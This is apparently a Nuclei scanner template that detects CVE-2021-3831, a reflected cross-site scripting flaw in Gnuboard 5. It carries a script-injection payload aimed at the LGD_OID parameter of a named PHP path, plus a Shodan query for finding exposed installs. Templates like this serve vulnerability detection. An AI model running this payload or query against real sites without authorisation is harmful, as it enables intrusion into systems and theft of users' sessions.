id: CVE-2021-3831

info:
  name: Gnuboard 5 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Gnuboard 5 contains a cross-site scripting vulnerability via the $_GET['LGD_OID'] parameter.
  impact: |
    Attackers can inject malicious JavaScript via XSS in the LGD_OID parameter, potentially stealing user session cookies or performing unauthorized actions.
  remediation: |
    Apply security patches or upgrade to a patched version of Gnuboard 5.
  reference:
    - https://huntr.dev/bounties/ed317cde-9bd1-429e-b6d3-547e72534dd5/
    - https://vulners.com/huntr/25775287-88CD-4F00-B978-692D627DFF04
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3831
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2021-3831
    epss-score: 0.01812
    epss-percentile: 0.75807
    cwe-id: CWE-80
    cpe: cpe:2.3:a:gnuboard:gnuboard5:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"gnuboard5"
    product: gnuboard5
    vendor: gnuboard
  tags: cve,cve2021,gnuboard,xss,huntr,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/mobile/shop/lg/mispwapurl.php?LGD_OID=%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'LGD_OID = <script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a00463044022007527c8c47468df4cf87bc6373b9eb41120f39a400e90ccea18f60a87ba7d8cc022008052dbc98edf11f3675bde7fcd2f791e3fb63ba6cf5539a273c9060ce26b230:922c64590222798bb761d5b6d8e72950